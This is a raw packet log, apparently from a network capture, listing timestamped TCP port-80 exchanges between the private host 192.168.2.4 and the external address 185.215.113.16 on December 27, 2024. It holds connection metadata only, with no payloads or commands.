Dec 27, 2024 09:13:07.497508049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.507354975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.507427931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.507514000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.507781029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.510684967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.510739088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.510848999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.510911942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.511199951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.511337042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.512270927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.512320042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.717025995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.765597105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.826723099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.836473942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.836493969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.836507082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.836520910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.836554050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.836611032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.878532887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878551960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878619909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.878669024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878680944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878693104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878705025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878719091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878772974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.878842115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878854990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878870010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878875971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.878881931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.878891945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878904104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878912926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.878922939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878935099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878945112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.878953934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.878994942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.879355907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879380941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879400015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.879411936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879424095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879435062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879451036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879460096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.879468918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879477024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.879486084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879492044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879497051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879502058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879540920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.879570007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879594088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879662991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.879676104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879688025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879698992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.879738092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.880435944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880471945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.880544901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880573034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880590916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880603075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880615950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880628109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880640030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880654097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880660057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.880666018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880670071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.880680084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.880695105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.880727053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.881392002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881405115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881417990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881431103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881443024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881453991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.881486893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.881561041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881573915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881586075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881596088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.881628990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.881795883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881815910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881829977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881844044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.881881952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.881922960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.882424116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882437944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882450104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882462978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882472038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.882474899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882488966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882502079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882509947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.882514954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882534981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.882580996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.882601976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882615089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882627010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882639885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.882649899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.882680893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.882687092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.883332968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.883344889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.883402109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.883498907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.883512020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.883549929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.892787933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.900736094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.900748968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.900799990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.900851965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.900892019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.900984049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.902039051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.902082920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.902163982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.903573036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.903665066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.903711081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.904567003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.904608965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.904726982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.905657053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.905670881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.905700922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.906220913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.906377077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.906419992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.907461882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.907483101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.907526970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.908341885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.908401966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.908469915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.909143925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.909262896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.909316063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.910330057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.910373926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.910399914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.911267042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.911324024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.911365032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.912316084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.912363052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.912436008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.913395882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.913444996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.913476944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.914479971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.914534092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.914575100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.915558100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.915606022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.915652990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.916627884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.916697979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.916707039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.917646885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.917696953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.917747021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.918737888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.918782949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.918811083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.922414064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.922431946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.922446012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.922477007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.922493935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.922559977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.025621891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.025641918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.025728941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.026041031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.026199102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.026242971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.027267933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.027410984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.027460098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.028386116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.028400898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.028455019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.029242039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.029531956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.030409098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.030453920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.030565023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.030602932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.031492949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.031641960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.031685114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.032453060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.032602072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.032640934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.033549070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.033673048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.033715963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.034646034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.034770012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.034811020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.035680056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.035887957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.035933971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.036830902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.036844969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.036904097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.037760973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.037774086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.037818909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.038659096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.038769007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.038813114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.040150881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.040242910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.040503979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.041336060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.041349888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.041389942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.041857958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.041893959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.041944027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.043457031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.043479919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.043524981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.043941975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.044047117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.044091940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.046008110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.063891888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.101902962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.101918936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.101986885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.150652885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.150671959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.150783062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.151124954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.151271105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.151321888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.152221918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.152296066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.152338982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.153261900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.153359890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.154335976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.154381990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.154419899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.154450893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.155396938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.155505896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.155559063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.156455994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.156560898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.156604052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.157502890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.157602072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.158551931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.158616066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.158658981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.158693075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.159655094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.159719944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.159775019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.160691977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.160737991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.161765099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.161819935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.161878109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.161915064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.162808895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.162892103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.163902044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.163999081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.164032936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.164155960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.165000916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.165071011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.166013956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.166099072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.166125059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.166168928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.167079926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.167196035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.168174028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.168231964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.168247938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.168286085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.169195890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.169327974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.170258045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.170308113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.170342922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.170378923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.171365023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.171439886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.171487093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.276019096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.276058912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.276428938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.276559114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.276679993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.276736021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.277590990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.277710915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.277823925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.278605938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.278711081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.278857946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.279670954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.279872894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.279978991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.280735016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.280874968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.280992031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.281829119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.281919956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.281971931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.282921076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.282989979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.283142090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.283978939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.284094095 CET	80	49743	185.215.113.16	192.168.2.4
